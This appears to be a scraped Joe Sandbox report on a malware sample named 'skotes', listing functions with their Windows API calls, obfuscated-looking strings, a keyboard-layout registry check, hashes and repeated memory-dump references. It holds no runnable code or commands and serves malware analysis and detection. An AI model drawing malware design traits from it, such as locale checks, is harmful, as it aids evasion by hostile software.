Associated: 00000006.00000002.3283455170.00000000011CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.00000000011DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287111652.00000000011DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288510814.0000000001380000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288674046.0000000001382000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ec0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 0-3963862150
Opcode ID: c325ba80bc4b2a406c003885342de05f4b9606656dbc88d356018bc2a79ab8e4
Instruction ID: 35690fe77d07d467a10a68218f01eb1ee55d87fb8aa935e7607a07ac6d6b8f30
Opcode Fuzzy Hash: c325ba80bc4b2a406c003885342de05f4b9606656dbc88d356018bc2a79ab8e4
Instruction Fuzzy Hash: E8D1DC71900258ABEB24DF24CD84BDEB7B9EB04300F5042D9E508F7281DB75AAE98F95

Function 00EC7D30 Relevance: 10.9, APIs: 1, Strings: 5, Instructions: 426
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00EC7ED3

Strings

JjsrQV==, xrefs: 00EC8092
JjssPV==, xrefs: 00EC81E2
P, xrefs: 00EC7D3D
JjssOl==, xrefs: 00EC813A
JjsrPl==, xrefs: 00EC828A

Memory Dump Source

Source File: 00000006.00000002.3282216194.0000000000EC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000006.00000002.3281937953.0000000000EC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282216194.0000000000F22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283222943.0000000000F29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.0000000000F2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.00000000010B6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.0000000001199000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.00000000011C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.00000000011CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.00000000011DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287111652.00000000011DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288510814.0000000001380000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288674046.0000000001382000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ec0000_skotes.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID: JjsrPl==$JjsrQV==$JjssOl==$JjssPV==$P
API String ID: 1721193555-64376424
Opcode ID: 072ec5d06180f6245d6eea8a653c9fc345ae54dbb2251640e0a312d52a63f26c
Instruction ID: eba99c0855364e171455da66702653599d914f607927eb665eff4459b78e47d4
Opcode Fuzzy Hash: 072ec5d06180f6245d6eea8a653c9fc345ae54dbb2251640e0a312d52a63f26c
Instruction Fuzzy Hash: 0AE13A71E002549BDB14BB28CF07B9E7BA1AB41724F90128DE455773C2DB365F829BC2

Function 00EC8380 Relevance: 1.7, APIs: 1, Instructions: 159
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNELBASE(?), ref: 00EC8524

Memory Dump Source

Source File: 00000006.00000002.3282216194.0000000000EC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000006.00000002.3281937953.0000000000EC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282216194.0000000000F22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283222943.0000000000F29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.0000000000F2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.00000000010B6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.0000000001199000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.00000000011C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.00000000011CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.00000000011DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287111652.00000000011DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288510814.0000000001380000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288674046.0000000001382000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ec0000_skotes.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: 2d0214bdbc1b1d5e0d6d0556c45fc0df6c5a494c8e3814fb859293a429d8de39
Instruction ID: a1c8721846cadddbc6da573c3f85e22afeecfa847f6075ea4efbc22ac2941c45
Opcode Fuzzy Hash: 2d0214bdbc1b1d5e0d6d0556c45fc0df6c5a494c8e3814fb859293a429d8de39
Instruction Fuzzy Hash: 0E5146709002189BEB28EB28CF45BDEB774EB41304F50529DE814B7381EF769E818B91

Function 00EFB04B Relevance: 1.5, APIs: 1, Instructions: 33
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000,00ED6CB7,?,?,00EDD3FC,00ED6CB7,?,00ED7A8B,8B18EC84,04F30A13), ref: 00EFB07D

Memory Dump Source

Source File: 00000006.00000002.3282216194.0000000000EC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000006.00000002.3281937953.0000000000EC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282216194.0000000000F22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283222943.0000000000F29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.0000000000F2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.00000000010B6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.0000000001199000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.00000000011C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.00000000011CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.00000000011DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287111652.00000000011DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288510814.0000000001380000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288674046.0000000001382000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ec0000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: d002acb179c16178ba5bd714d55d9fa3a7db1c7e9aca75c2766a49bc6a018084
Instruction ID: b0299bcb2d90020e6a397b0d6dbf7fcd842fc03850d030ca6f2eb432faf11fb2
Opcode Fuzzy Hash: d002acb179c16178ba5bd714d55d9fa3a7db1c7e9aca75c2766a49bc6a018084
Instruction Fuzzy Hash: 4CE06D3524622DD6EB313265DD01BBBB68D9B413A4F253220EF64B61A1EF61DD0091E1

Function 00ED6C70 Relevance: 1.3, APIs: 1, Instructions: 40
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE ref: 00ED6CF5

Memory Dump Source

Source File: 00000006.00000002.3282216194.0000000000EC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000006.00000002.3281937953.0000000000EC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282216194.0000000000F22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283222943.0000000000F29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.0000000000F2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.00000000010B6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.0000000001199000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.00000000011C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.00000000011CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.00000000011DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287111652.00000000011DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288510814.0000000001380000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288674046.0000000001382000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ec0000_skotes.jbxd

Yara matches

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 3dc018c886866d65b6ecdd8d5daab80fff7314fd5774ec0a3c2f7a32ae5d9439
Instruction ID: 337d62d54a19d14389b937351bd63b5d386019a81dcd62022019fd6cff3aa038
Opcode Fuzzy Hash: 3dc018c886866d65b6ecdd8d5daab80fff7314fd5774ec0a3c2f7a32ae5d9439
Instruction Fuzzy Hash: A1F0F471A00614ABC710BB68DD03B1EBBB4EB06760F800349F821773D1EB305A0667D3

Function 04FA0D64 Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3298838311.0000000004FA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04FA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4fa0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 81cd88c50b49fefe8cf9fe323aac15d7a62e2ec207b774376c94ccf924e82006
Instruction ID: e9653129a10bb73b828d1c006fea25e9358ef2e6e7aa4a9c2a1c8973d36ebfa6
Opcode Fuzzy Hash: 81cd88c50b49fefe8cf9fe323aac15d7a62e2ec207b774376c94ccf924e82006
Instruction Fuzzy Hash: 2A0169EB70C121BDB100D9817BD4ABB67AEE7D6730370882AF407C5502FA58AA2B7131

Function 04FA0D74 Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3298838311.0000000004FA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04FA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4fa0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bb88794167b2e1bbecda0934e10fe2ddc4fa1af2a0a5d1098e8243473f1e08eb
Instruction ID: b2b6de69fdc20f160c2d92941f7d1510970fb30aa5ba9cb2b05c97ddc97accd2
Opcode Fuzzy Hash: bb88794167b2e1bbecda0934e10fe2ddc4fa1af2a0a5d1098e8243473f1e08eb
Instruction Fuzzy Hash: EB01A1F760C111AEA200D9517AD1ABB679DE7D5730730882BF447C6502EA64656B7131

Function 04FA0D5D Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3298838311.0000000004FA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04FA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4fa0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aa9b78f4c543967d313b2dfe928bacafad571327e940fee2f724a832f6765a9d
Instruction ID: 40ee15864a463a701d48f08ffa856f26f48831dd9771d9260f6f84ca380081c7
Opcode Fuzzy Hash: aa9b78f4c543967d313b2dfe928bacafad571327e940fee2f724a832f6765a9d
Instruction Fuzzy Hash: A10169E770C121ADB100D9817B94ABB67AEE6D6730370882AF407C5502FE58AA2B7131

Function 04FA0DB3 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3298838311.0000000004FA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04FA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4fa0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0c9d2e4c84c6bce11661ebd15b4687f7f3e284aa4518f9ea3de578e2aecb5fbe
Instruction ID: 104afc34f1529779efb0e788c56c8835dc5d66624ff3c80c0058c10d7c21b2de
Opcode Fuzzy Hash: 0c9d2e4c84c6bce11661ebd15b4687f7f3e284aa4518f9ea3de578e2aecb5fbe
Instruction Fuzzy Hash: 3C018FF770C151AEB200DD557AD5ABB23A9E6E5730330882BF446C5102FE19A96BB131

Function 04FA0D94 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3298838311.0000000004FA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04FA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4fa0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 536214488ce016d46ae23f87b909eec9165a3a2976511d32820032335bb138ac
Instruction ID: 11f55eacb13927927ccbf49b530b59188e21cf996b813a62d2cec940f3d7a456
Opcode Fuzzy Hash: 536214488ce016d46ae23f87b909eec9165a3a2976511d32820032335bb138ac
Instruction Fuzzy Hash: AF0171F770C151BEA200DD95BAD4AB763A9F7D9634370886EF043C6102FA29A56BB131

Function 04FA0E20 Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3298838311.0000000004FA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04FA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4fa0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9789f3d272c9e8925fc95f19d4215bfc2dc07e97cad46f510ddd68f519986a73
Instruction ID: c0f037ae3c6dff00d1dfe01d5d14377bf0158ca66ef8a76637d1a39068226acc
Opcode Fuzzy Hash: 9789f3d272c9e8925fc95f19d4215bfc2dc07e97cad46f510ddd68f519986a73
Instruction Fuzzy Hash: 8EF0CDF770C121AEA240ED9176D06BA27A9E7C5730330C82BF007C5402EE29A56BB130

Function 04FA0DCC Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3298838311.0000000004FA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04FA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4fa0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 82aa91b86b48fc7be4be57cdf3e1ee944aaa2d0146270ab2744a6a69da875bf7
Instruction ID: 224124a4e3f1657c39e4e1920ef45db5799fd1052e63d52fccf24a7c7a8ab2ef
Opcode Fuzzy Hash: 82aa91b86b48fc7be4be57cdf3e1ee944aaa2d0146270ab2744a6a69da875bf7
Instruction Fuzzy Hash: 8AF0AFF7B0C111EEA204EE51BAD5ABB33A9E7D5730370882BF007C6411FA25A56BB130

Function 04FA0DDC Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3298838311.0000000004FA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04FA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4fa0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0a6b8fb59e2ea14140e085c73b8aa9a7fa9b7ea7838d66f3d8912b1ca06df9de
Instruction ID: 56d1c41630fe3cc7bf9a615f481bf52dd24389140e00a2113f3f6c4c3a3218b4
Opcode Fuzzy Hash: 0a6b8fb59e2ea14140e085c73b8aa9a7fa9b7ea7838d66f3d8912b1ca06df9de
Instruction Fuzzy Hash: 2AF090F770C111AD7200ED957BD46BB2799E6D5B30370882BF007C6401FA29996BB131

Function 04FA0DFB Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3298838311.0000000004FA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04FA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4fa0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9f95f49a56047d93a7049fe1508dfd721e09d3e1502c731c209b7fc62311c34b
Instruction ID: 3009a5896ad88e3b5b3a4f38b656393f8f77028b7c2ab407b03351795ec835f2
Opcode Fuzzy Hash: 9f95f49a56047d93a7049fe1508dfd721e09d3e1502c731c209b7fc62311c34b
Instruction Fuzzy Hash: 73F0A0E770C211ADA200ED513AC53B767A5A796730770882BF047C5401FA69A577B121

Function 04FA0E0A Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3298838311.0000000004FA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04FA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4fa0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 21942925c58b44c822815ebb1fd2478c49ca6781e6668af4d141ef9fbddf69d5
Instruction ID: 02672242afebf8e814b19a68f2254bc63f9d944f424644ebb4742c781dcc1b02
Opcode Fuzzy Hash: 21942925c58b44c822815ebb1fd2478c49ca6781e6668af4d141ef9fbddf69d5
Instruction Fuzzy Hash: 6BF0E5E771C251ED9201FDA576D02B737DAA796734370885AF043C5502FE269467F221

Function 04FA0E3B Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3298838311.0000000004FA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04FA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4fa0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 55d8326bb965ded831458083768743c885fcc48c7508c1d3d5fb7c29947b3bbe
Instruction ID: 12e79da80d6896ec71ebb7eb7276c9251a319fefe0491214d9f38880818c573e
Opcode Fuzzy Hash: 55d8326bb965ded831458083768743c885fcc48c7508c1d3d5fb7c29947b3bbe
Instruction Fuzzy Hash: 41E068F360C2849ED302FEB075C66B67B913B0322432944BEF04386903EB28102BF121

Non-executed Functions

Function 00F031A8 Relevance: 10.1, APIs: 1, Strings: 4, Instructions: 1340COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 00F03323

Strings

1#SNAN, xrefs: 00F044BA
1#IND, xrefs: 00F044B3
1#QNAN, xrefs: 00F044C1
1#INF, xrefs: 00F044DE

Memory Dump Source

Source File: 00000006.00000002.3282216194.0000000000EC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000006.00000002.3281937953.0000000000EC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282216194.0000000000F22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283222943.0000000000F29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.0000000000F2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.00000000010B6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.0000000001199000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.00000000011C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.00000000011CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.00000000011DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287111652.00000000011DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288510814.0000000001380000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288674046.0000000001382000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ec0000_skotes.jbxd

Yara matches

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: 9999f5c8ec9267dfdeff0c471861f7966abb5b1f2da05098bcea81ee2a29e609
Instruction ID: 9d126fb6b94a478a71dd1af96fa397676626f60b247e745d70f66ffd75f0c15c
Opcode Fuzzy Hash: 9999f5c8ec9267dfdeff0c471861f7966abb5b1f2da05098bcea81ee2a29e609
Instruction Fuzzy Hash: 45C24EB2E046298FDB25CE28DD407E9B3F9EB44315F1441EAD94DE7280E775AE81AF40

Function 00F02D10 Relevance: 3.4, APIs: 2, Instructions: 450COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3282216194.0000000000EC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000006.00000002.3281937953.0000000000EC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282216194.0000000000F22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283222943.0000000000F29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.0000000000F2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.00000000010B6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.0000000001199000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.00000000011C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.00000000011CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.00000000011DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287111652.00000000011DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288510814.0000000001380000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288674046.0000000001382000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ec0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4febeba0e6df1972b290d54c079ebb9eef800fd61dd105ca4b93d43a1305ea1a
Instruction ID: b8406b45b8f6c232b396bcb4e0c1a971b4a49d78c0cea4d051555fc0440b8f77
Opcode Fuzzy Hash: 4febeba0e6df1972b290d54c079ebb9eef800fd61dd105ca4b93d43a1305ea1a
Instruction Fuzzy Hash: 3FF13F71E012199FDF14CFA8C8806AEF7B5FF48324F25826AD915A7385D731AE41DB90

Function 00EDCBEA Relevance: 1.5, APIs: 1, Instructions: 16timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimePreciseAsFileTime.KERNEL32(?,00EDCF52,?,?,?,?,00EDCF87,?,?,?,?,?,?,00EDC4FD,?,00000001), ref: 00EDCC03

Memory Dump Source

Source File: 00000006.00000002.3282216194.0000000000EC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000006.00000002.3281937953.0000000000EC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282216194.0000000000F22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283222943.0000000000F29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.0000000000F2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.00000000010B6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.0000000001199000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.00000000011C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.00000000011CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.00000000011DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287111652.00000000011DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288510814.0000000001380000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288674046.0000000001382000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ec0000_skotes.jbxd

Yara matches

Similarity

API ID: Time$FilePreciseSystem
String ID:
API String ID: 1802150274-0
Opcode ID: be1191dead766e314f789f26a499775d9e4c37487498943c12c6fac3b0c7c0f1
Instruction ID: cf28a9c8ad71e1570fedb687dd19bf2442edb57804dacf3f784959d691925f1d
Opcode Fuzzy Hash: be1191dead766e314f789f26a499775d9e4c37487498943c12c6fac3b0c7c0f1
Instruction Fuzzy Hash: 9FD0123265257CA78A252B94EC04CEDFB58DA05BA83155112EF0967220CEB16C42FBD5

Function 00EF7F36 Relevance: 1.5, Strings: 1, Instructions: 216COMMON

Download Yara Rule

Strings

0, xrefs: 00EF80B2

Memory Dump Source

Source File: 00000006.00000002.3282216194.0000000000EC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000006.00000002.3281937953.0000000000EC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282216194.0000000000F22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283222943.0000000000F29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.0000000000F2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.00000000010B6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.0000000001199000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.00000000011C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.00000000011CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.00000000011DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287111652.00000000011DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288510814.0000000001380000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288674046.0000000001382000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ec0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 34b90d6f816b0148f172a566a29f4731fc4dbb34a2dc1360e8ce98d5d1eead5a
Instruction ID: c3845ef8e9b9bc692d3703860e82c119e921e2fe7d48f80990be7151ebfa11e9
Opcode Fuzzy Hash: 34b90d6f816b0148f172a566a29f4731fc4dbb34a2dc1360e8ce98d5d1eead5a
Instruction Fuzzy Hash: 05517D3230860D5AEB384A288A957FE67DA9F51308F94361DE7C2F72D2CE719E4DC251

Function 00EC4DE0 Relevance: .7, Instructions: 701COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3282216194.0000000000EC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000006.00000002.3281937953.0000000000EC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282216194.0000000000F22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283222943.0000000000F29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.0000000000F2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.00000000010B6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.0000000001199000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.00000000011C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.00000000011CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.00000000011DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287111652.00000000011DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288510814.0000000001380000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288674046.0000000001382000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ec0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 494de70844b68c14a466765181d769d3acbd051bb35eed8c49f76b8490153a5a
Instruction ID: ea99247b448f4f2785935cdf53c83f113595d509fd1e408164015cbbedde30de
